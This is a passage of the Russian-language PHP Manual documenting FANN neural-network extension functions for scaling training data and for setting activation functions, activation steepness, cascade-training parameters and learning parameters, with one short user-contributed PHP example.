Выходной вектор, который будет масштабирован.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_descale_output() - Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров
  • fann_scale_input() - Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует входные и выходные данные в обучающих данных до указанного диапазона

  • « fann_scale_output
  • fann_scale_train »
  • PHP Manual
  • Функции Fann
  • Масштабирует входные и выходные данные в обучающих данных до указанного диапазона

fann_scale_train_data

(PECL fann >= 1.0.0)

fann_scale_train_data — Масштабирует входные и выходные данные в обучающих данных до указанного диапазона

Описание

fann_scale_train_data(resource $train_data, float $new_min, float $new_max): bool

Масштабирует входные и выходные данные в обучающих данных до указанного диапазона.

Список параметров

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_min

Новый минимум после масштабирования входных и выходных данных в обучающих данных.

new_max

Новый максимум после масштабирования входных и выходных данных в обучающих данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_output_train_data() - Масштабирует выходные данные в обучающих данных до указанного диапазона
  • fann_scale_input_train_data() - Масштабирует входные данные в обучающих данных до указанного диапазона

User Contributed Notes

geekgirl dot joy at gmail dot com 09-Jul-2021 07:09
<?php

// How to scale an existing unscaled training file and save it

$path = 'TrainingData' . DIRECTORY_SEPARATOR;

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file($path . "Training.data");

// Scale to a range of -1 to 1
fann_scale_train_data($train_data, -1, 1);

// Save the new scaled traning data as a file
fann_save_train($train_data, $path . 'ScaledTraining.data');


Масштабирует входные и выходные данные на основе ранее рассчитанных параметров

  • « fann_scale_train_data
  • fann_set_activation_function_hidden »
  • PHP Manual
  • Функции Fann
  • Масштабирует входные и выходные данные на основе ранее рассчитанных параметров

fann_scale_train

(PECL fann >= 1.0.0)

fann_scale_train — Масштабирует входные и выходные данные на основе ранее рассчитанных параметров

Описание

fann_scale_train(resource $ann, resource $train_data): bool

Масштабирует входные и выходные данные на основе ранее рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_descale_train() - Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров
  • fann_set_scaling_params() - Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию активации для всех скрытых слоёв

  • « fann_scale_train
  • fann_set_activation_function_layer »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию активации для всех скрытых слоёв

fann_set_activation_function_hidden

(PECL fann >= 1.0.0)

fann_set_activation_function_hidden — Устанавливает функцию активации для всех скрытых слоёв

Описание

fann_set_activation_function_hidden(resource $ann, int $activation_function): bool

Устанавливает функцию активации для всех скрытых слоёв.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_function

Константа функций активации.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя
  • fann_set_activation_function_layer() - Устанавливает функцию активации для всех нейронов в предоставленном слое
  • fann_set_activation_function_output() - Устанавливает функцию активации для выходного слоя
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию активации для всех нейронов в предоставленном слое

  • « fann_set_activation_function_hidden
  • fann_set_activation_function_output »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию активации для всех нейронов в предоставленном слое

fann_set_activation_function_layer

(PECL fann >= 1.0.0)

fann_set_activation_function_layer — Устанавливает функцию активации для всех нейронов в предоставленном слое

Описание

fann_set_activation_function_layer(resource $ann, int $activation_function, int $layer): bool

Установите функцию активации для всех нейронов в слое номер layer, считая входной слой слоем 0.

Невозможно установить функции активации для нейронов во входном слое.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_function

Константа функций активации.

layer

Номер слоя.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя
  • fann_set_activation_function_hidden() - Устанавливает функцию активации для всех скрытых слоёв
  • fann_set_activation_function_output() - Устанавливает функцию активации для выходного слоя
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию активации для выходного слоя

  • « fann_set_activation_function_layer
  • fann_set_activation_function »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию активации для выходного слоя

fann_set_activation_function_output

(PECL fann >= 1.0.0)

fann_set_activation_function_output — Устанавливает функцию активации для выходного слоя

Описание

fann_set_activation_function_output(resource $ann, int $activation_function): bool

Устанавливает функцию активации для выходного слоя.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_function

Константа функций активации.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя
  • fann_set_activation_function_layer() - Устанавливает функцию активации для всех нейронов в предоставленном слое
  • fann_set_activation_function_hidden() - Устанавливает функцию активации для всех скрытых слоёв
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию активации для указанного нейрона и слоя

  • « fann_set_activation_function_output
  • fann_set_activation_steepness_hidden »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию активации для указанного нейрона и слоя

fann_set_activation_function

(PECL fann >= 1.0.0)

fann_set_activation_function — Устанавливает функцию активации для указанного нейрона и слоя

Описание

fann_set_activation_function(
resource $ann,
int $activation_function,
int $layer,
int $neuron
): bool

Установите функцию активации для нейрона номер neuron в слое номер layer, считая входной слой как слой 0.

Невозможно установить функции активации для нейронов во входном слое.

При выборе функции активации важно учитывать, что у функций активации разный диапазон. FANN_SIGMOID, например, в диапазоне от 0 до 1, в то время как FANN_SIGMOID_SYMMETRIC находится в диапазоне от -1 до 1, а FANN_LINEAR без ограничений.

Предоставленное значение activation_function должно быть одной из констант функций активации.

Возвращаемое значение - одна из констант функций активации.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_function

Константа функций активации.

layer

Номер слоя.

neuron

Номер нейрона.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_function_layer() - Устанавливает функцию активации для всех нейронов в предоставленном слое
  • fann_set_activation_function_hidden() - Устанавливает функцию активации для всех скрытых слоёв
  • fann_set_activation_function_output() - Устанавливает функцию активации для выходного слоя
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_get_activation_function() - Возвращает функцию активации

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях

  • « fann_set_activation_function
  • fann_set_activation_steepness_layer »
  • PHP Manual
  • Функции Fann
  • Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях

fann_set_activation_steepness_hidden

(PECL fann >= 1.0.0)

fann_set_activation_steepness_hidden — Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях

Описание

fann_set_activation_steepness_hidden(resource $ann, float $activation_steepness): bool

Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_steepness

Крутизна активации.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_set_activation_steepness_layer() - Устанавливает крутизну активации для всех нейронов в указанном номере слоя
  • fann_set_activation_steepness_output() - Устанавливает крутизну активации в выходном слое
  • fann_get_activation_steepness() - Возвращает крутизну активации для поставляемого нейрона и номера слоя
  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает крутизну активации для всех нейронов в указанном номере слоя

  • « fann_set_activation_steepness_hidden
  • fann_set_activation_steepness_output »
  • PHP Manual
  • Функции Fann
  • Устанавливает крутизну активации для всех нейронов в указанном номере слоя

fann_set_activation_steepness_layer

(PECL fann >= 1.0.0)

fann_set_activation_steepness_layer — Устанавливает крутизну активации для всех нейронов в указанном номере слоя

Описание

fann_set_activation_steepness_layer(resource $ann, float $activation_steepness, int $layer): bool

Установите крутизну активации для всех нейронов в слое номер layer, считая входной слой как слой 0.

Невозможно установить крутизну активации нейронов во входном слое.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_steepness

Крутизна активации.

layer

Номер слоя.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_set_activation_steepness_hidden() - Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
  • fann_set_activation_steepness_output() - Устанавливает крутизну активации в выходном слое
  • fann_get_activation_steepness() - Возвращает крутизну активации для поставляемого нейрона и номера слоя
  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает крутизну активации в выходном слое

  • « fann_set_activation_steepness_layer
  • fann_set_activation_steepness »
  • PHP Manual
  • Функции Fann
  • Устанавливает крутизну активации в выходном слое

fann_set_activation_steepness_output

(PECL fann >= 1.0.0)

fann_set_activation_steepness_output — Устанавливает крутизну активации в выходном слое

Описание

fann_set_activation_steepness_output(resource $ann, float $activation_steepness): bool

Устанавливает крутизну активации в выходном слое.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_steepness

Крутизна активации.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_set_activation_steepness_layer() - Устанавливает крутизну активации для всех нейронов в указанном номере слоя
  • fann_set_activation_steepness_hidden() - Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
  • fann_get_activation_steepness() - Возвращает крутизну активации для поставляемого нейрона и номера слоя
  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает крутизну активации для указанного нейрона и номера слоя

  • « fann_set_activation_steepness_output
  • fann_set_bit_fail_limit »
  • PHP Manual
  • Функции Fann
  • Устанавливает крутизну активации для указанного нейрона и номера слоя

fann_set_activation_steepness

(PECL fann >= 1.0.0)

fann_set_activation_steepness — Устанавливает крутизну активации для указанного нейрона и номера слоя

Описание

fann_set_activation_steepness(
resource $ann,
float $activation_steepness,
int $layer,
int $neuron
): bool

Установите крутизну активации для нейрона номер neuron в слое номер layer, считая входной слой как слой 0.

Невозможно установить крутизну активации нейронов во входном слое.

Крутизна функции активации кое-что говорит о том, насколько быстро функция активации переходит от минимума к максимуму. Высокое значение функции активации также даст более агрессивное обучение.

При обучении нейронных сетей, в которых выходные значения должны быть крайними (обычно 0 и 1, в зависимости от функции активации), может использоваться крутая функция активации (например, 1.0).

По умолчанию крутизна активации составляет 0.5.

Список параметров

ann

Ресурс (resource) нейронной сети.

activation_steepness

Крутизна активации.

layer

Номер слоя.

neuron

Номер нейрона.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_activation_steepness_layer() - Устанавливает крутизну активации для всех нейронов в указанном номере слоя
  • fann_set_activation_steepness_hidden() - Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
  • fann_set_activation_steepness_output() - Устанавливает крутизну активации в выходном слое
  • fann_get_activation_steepness() - Возвращает крутизну активации для поставляемого нейрона и номера слоя
  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает предел ошибок, используемый во время обучения

  • « fann_set_activation_steepness
  • fann_set_callback »
  • PHP Manual
  • Функции Fann
  • Устанавливает предел ошибок, используемый во время обучения

fann_set_bit_fail_limit

(PECL fann >= 1.0.0)

fann_set_bit_fail_limit — Устанавливает предел ошибок, используемый во время обучения

Описание

fann_set_bit_fail_limit(resource $ann, float $bit_fail_limit): bool

Устанавливает предел ошибок, используемый во время обучения.

Список параметров

ann

Ресурс (resource) нейронной сети.

bit_fail_limit

Предел ошибок.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_bit_fail_limit() - Возвращает предел сбоя битов, использованный во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию для использования во время обучения

  • « fann_set_bit_fail_limit
  • fann_set_cascade_activation_functions »
  • PHP Manual
  • Функции Fann
  • Устанавливает callback-функцию для использования во время обучения

fann_set_callback

(PECL fann >= 1.0.0)

fann_set_callback — Устанавливает callback-функцию для использования во время обучения

Описание

fann_set_callback(resource $ann, callable $callback): bool

Устанавливает callback-функцию для использования во время обучения. Это означает, что она вызывается из fann_train_on_data() или fann_train_on_file().

Список параметров

ann

Ресурс (resource) нейронной сети.

callback

Поставляемая callback-функция принимает следующие параметры:

  • ann - Ресурс (resource) нейронной сети
  • train - Ресурс (resource) данных для обучения или null, если вызывается из fann_train_on_file()
  • max_epochs - Максимальное количество периодов, в которых должно продолжаться обучение
  • epochs_between_reports - Количество периодов между вызовами этой функции
  • desired_error - Желаемая функция fann_get_MSE() или fann_get_bit_fail(), в зависимости от функции остановки, выбранной fann_set_train_stop_function()
  • epochs - Текущий период

Callback-функция должна вернуть true. Если она вернёт false, обучение будет прекращено.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_train_on_file() - Обучение на полном наборе данных, прочитанном из файла, на временном интервале

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает массив каскадных функций активации кандидатов

  • « fann_set_callback
  • fann_set_cascade_activation_steepnesses »
  • PHP Manual
  • Функции Fann
  • Устанавливает массив каскадных функций активации кандидатов

fann_set_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_set_cascade_activation_functions — Устанавливает массив каскадных функций активации кандидатов

Описание

fann_set_cascade_activation_functions(resource $ann, array $cascade_activation_functions): bool

Устанавливает массив каскадных функций активации кандидатов.

Смотрите fann_get_cascade_num_candidates() для описания того, какие нейроны-кандидаты будут сгенерированы этим массивом.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_activation_functions

Массив каскадных функций активации кандидатов.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_activation_functions_count() - Возвращает количество функций каскадной активации
  • fann_set_cascade_activation_functions()

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает массив крутизны включения кандидатов в каскад

  • « fann_set_cascade_activation_functions
  • fann_set_cascade_candidate_change_fraction »
  • PHP Manual
  • Функции Fann
  • Устанавливает массив крутизны включения кандидатов в каскад

fann_set_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_set_cascade_activation_steepnesses — Устанавливает массив крутизны включения кандидатов в каскад

Описание

fann_set_cascade_activation_steepnesses(resource $ann, array $cascade_activation_steepnesses_count): bool

Устанавливает массив крутизны включения кандидатов в каскад.

Смотрите fann_get_cascade_num_candidates() для описания того, какие нейроны-кандидаты будут сгенерированы этим массивом.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_activation_steepnesses_count

Массив крутизны включения кандидатов в каскад.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_activation_steepnesses() - Возвращает крутизну каскадной активации
  • fann_get_cascade_activation_steepnesses_count() - Количество крутизны активации

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает долю каскадного изменения кандидата

  • « fann_set_cascade_activation_steepnesses
  • fann_set_cascade_candidate_limit »
  • PHP Manual
  • Функции Fann
  • Устанавливает долю каскадного изменения кандидата

fann_set_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_change_fraction — Устанавливает долю каскадного изменения кандидата

Описание

fann_set_cascade_candidate_change_fraction(resource $ann, float $cascade_candidate_change_fraction): bool

Устанавливает долю каскадного изменения кандидата.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_candidate_change_fraction

Доля каскадного изменения кандидата.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_candidate_change_fraction() - Возвращает долю изменения каскада кандидата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает лимит кандидатов

  • « fann_set_cascade_candidate_change_fraction
  • fann_set_cascade_candidate_stagnation_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает лимит кандидатов

fann_set_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_limit — Устанавливает лимит кандидатов

Описание

fann_set_cascade_candidate_limit(resource $ann, float $cascade_candidate_limit): bool

Устанавливает лимит кандидатов.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_candidate_limit

Лимит кандидатов.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_candidate_limit() - Возвращает предел кандидата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество каскадных периодов застоя кандидатов

  • « fann_set_cascade_candidate_limit
  • fann_set_cascade_max_cand_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает количество каскадных периодов застоя кандидатов

fann_set_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_stagnation_epochs — Устанавливает количество каскадных периодов застоя кандидатов

Описание

fann_set_cascade_candidate_stagnation_epochs(resource $ann, int $cascade_candidate_stagnation_epochs): bool

Устанавливает количество каскадных периодов застоя кандидатов.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_candidate_stagnation_epochs

Количество каскадных периодов застоя кандидатов.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_candidate_stagnation_epochs() - Возвращает количество периодов застоя каскада кандидата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает наибольший период кандидата

  • « fann_set_cascade_candidate_stagnation_epochs
  • fann_set_cascade_max_out_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает наибольший период кандидата

fann_set_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_cand_epochs — Устанавливает наибольший период кандидата

Описание

fann_set_cascade_max_cand_epochs(resource $ann, int $cascade_max_cand_epochs): bool

Устанавливает наибольший период кандидата.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_max_cand_epochs

Наибольший период кандидата.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_max_cand_epochs() - Получает наибольший период кандидата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество эпох

  • « fann_set_cascade_max_cand_epochs
  • fann_set_cascade_min_cand_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает максимальное количество эпох

fann_set_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_out_epochs — Устанавливает максимальное количество эпох

Описание

fann_set_cascade_max_out_epochs(resource $ann, int $cascade_max_out_epochs): bool

Устанавливает максимальное количество эпох.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_max_out_epochs

Максимальное количество эпох.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_max_out_epochs() - Возвращает максимальное количество периодов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает наименьший период кандидата

  • « fann_set_cascade_max_out_epochs
  • fann_set_cascade_min_out_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает наименьший период кандидата

fann_set_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_cand_epochs — Устанавливает наименьший период кандидата

Описание

fann_set_cascade_min_cand_epochs(resource $ann, int $cascade_min_cand_epochs): bool

Устанавливает наименьший период кандидата.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_min_cand_epochs

Наименьший период кандидата.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_cascade_min_cand_epochs() - Получает наименьший период кандидата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальные эпохи выходных данных

  • « fann_set_cascade_min_cand_epochs
  • fann_set_cascade_num_candidate_groups »
  • PHP Manual
  • Функции Fann
  • Устанавливает минимальные эпохи выходных данных

fann_set_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_out_epochs — Устанавливает минимальные эпохи выходных данных

Описание

fann_set_cascade_min_out_epochs(resource $ann, int $cascade_min_out_epochs): bool

Устанавливает минимальные эпохи выходных данных.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_min_out_epochs

Минимальные эпохи выходных данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_cascade_min_out_epochs() - Возвращает минимальное количество периодов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество групп кандидатов

  • « fann_set_cascade_min_out_epochs
  • fann_set_cascade_output_change_fraction »
  • PHP Manual
  • Функции Fann
  • Устанавливает количество групп кандидатов

fann_set_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_set_cascade_num_candidate_groups — Устанавливает количество групп кандидатов

Описание

fann_set_cascade_num_candidate_groups(resource $ann, int $cascade_num_candidate_groups): bool

Устанавливает количество групп кандидатов.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_num_candidate_groups

Количество групп кандидатов.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_num_candidate_groups() - Возвращает количество групп кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает долю изменения каскадных выходных данных

  • « fann_set_cascade_num_candidate_groups
  • fann_set_cascade_output_stagnation_epochs »
  • PHP Manual
  • Функции Fann
  • Устанавливает долю изменения каскадных выходных данных

fann_set_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_output_change_fraction — Устанавливает долю изменения каскадных выходных данных

Описание

fann_set_cascade_output_change_fraction(resource $ann, float $cascade_output_change_fraction): bool

Устанавливает долю изменения каскадных выходных данных.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_output_change_fraction

Доля изменения каскадных выходных данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_output_change_fraction() - Возвращает долю изменения выхода каскада

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество периодов стагнации каскадного вывода

  • « fann_set_cascade_output_change_fraction
  • fann_set_cascade_weight_multiplier »
  • PHP Manual
  • Функции Fann
  • Устанавливает количество периодов стагнации каскадного вывода

fann_set_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_output_stagnation_epochs — Устанавливает количество периодов стагнации каскадного вывода

Описание

fann_set_cascade_output_stagnation_epochs(resource $ann, int $cascade_output_stagnation_epochs): bool

Устанавливает количество периодов стагнации каскадного вывода.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_output_stagnation_epochs

Количество эпох стагнации каскадного выхода.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_output_stagnation_epochs() - Возвращает количество каскадных периодов застоя кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает множитель веса

  • « fann_set_cascade_output_stagnation_epochs
  • fann_set_error_log »
  • PHP Manual
  • Функции Fann
  • Устанавливает множитель веса

fann_set_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_set_cascade_weight_multiplier — Устанавливает множитель веса

Описание

fann_set_cascade_weight_multiplier(resource $ann, float $cascade_weight_multiplier): bool

Устанавливает множитель веса.

Список параметров

ann

Ресурс (resource) нейронной сети.

cascade_weight_multiplier

Множитель веса.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_cascade_weight_multiplier() - Возвращает множитель веса

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает, где регистрируются ошибки

  • « fann_set_cascade_weight_multiplier
  • fann_set_input_scaling_params »
  • PHP Manual
  • Функции Fann
  • Устанавливает, где регистрируются ошибки

fann_set_error_log

(PECL fann >= 1.0.0)

fann_set_error_log — Устанавливает, где регистрируются ошибки

Описание

fann_set_error_log(resource $errdat, string $log_file): void

Устанавливает, где регистрируются ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

log_file

Путь к файлу логов.

Возвращаемые значения

Не возвращает никакого значения.

User Contributed Notes

There are no user contributed notes for this page.


Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения

  • « fann_set_error_log
  • fann_set_learning_momentum »
  • PHP Manual
  • Функции Fann
  • Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения

fann_set_input_scaling_params

(PECL fann >= 1.0.0)

fann_set_input_scaling_params — Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения

Описание

fann_set_input_scaling_params(
resource $ann,
resource $train_data,
float $new_input_min,
float $new_input_max
): bool

Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_input_min

Желаемая нижняя граница во входных данных после масштабирования (строго не соблюдается)

new_input_max

Желаемая верхняя граница во входных данных после масштабирования (строго не соблюдается)

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_output_scaling_params() - Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает импульс обучения

  • « fann_set_input_scaling_params
  • fann_set_learning_rate »
  • PHP Manual
  • Функции Fann
  • Устанавливает импульс обучения

fann_set_learning_momentum

(PECL fann >= 1.0.0)

fann_set_learning_momentum — Устанавливает импульс обучения

Описание

fann_set_learning_momentum(resource $ann, float $learning_momentum): bool

Устанавливает импульс обучения.

Более подробная информация доступна в fann_get_learning_momentum().

Список параметров

ann

Ресурс (resource) нейронной сети.

learning_momentum

Импульс обучения.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_learning_momentum() - Возвращает импульс обучения
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает скорость обучения

  • « fann_set_learning_momentum
  • fann_set_output_scaling_params »
  • PHP Manual
  • Функции Fann
  • Устанавливает скорость обучения

fann_set_learning_rate

(PECL fann >= 1.0.0)

fann_set_learning_rate — Устанавливает скорость обучения

Описание

fann_set_learning_rate(resource $ann, float $learning_rate): bool

Устанавливает скорость обучения.

Более подробная информация доступна в fann_get_learning_rate().

Список параметров

ann

Ресурс (resource) нейронной сети.

learning_rate

Скорость обучения.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_learning_rate() - Возвращает скорость обучения
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения

  • « fann_set_learning_rate
  • fann_set_quickprop_decay »
  • PHP Manual
  • Функции Fann
  • Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения

fann_set_output_scaling_params

(PECL fann >= 1.0.0)

fann_set_output_scaling_params — Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения

Описание

fann_set_output_scaling_params(
resource $ann,
resource $train_data,
float $new_output_min,
float $new_output_max
): bool

Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_output_min

Желаемая нижняя граница в выходных данных после масштабирования (строго не соблюдается)

new_output_max

Желаемая верхняя граница в выходных данных после масштабирования (строго не соблюдается)

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_input_scaling_params() - Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент затухания quickprop

  • « fann_set_output_scaling_params
  • fann_set_quickprop_mu »
  • PHP Manual
  • Функции Fann
  • Устанавливает коэффициент затухания quickprop

fann_set_quickprop_decay

(PECL fann >= 1.0.0)

fann_set_quickprop_decay — Устанавливает коэффициент затухания quickprop

Описание

fann_set_quickprop_decay(resource $ann, float $quickprop_decay): bool

Устанавливает коэффициент затухания quickprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

quickprop_decay

Коэффициент затухания quickprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_quickprop_decay() - Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает МЮ-фактор quickprop

  • « fann_set_quickprop_decay
  • fann_set_rprop_decrease_factor »
  • PHP Manual
  • Функции Fann
  • Устанавливает МЮ-фактор quickprop

fann_set_quickprop_mu

(PECL fann >= 1.0.0)

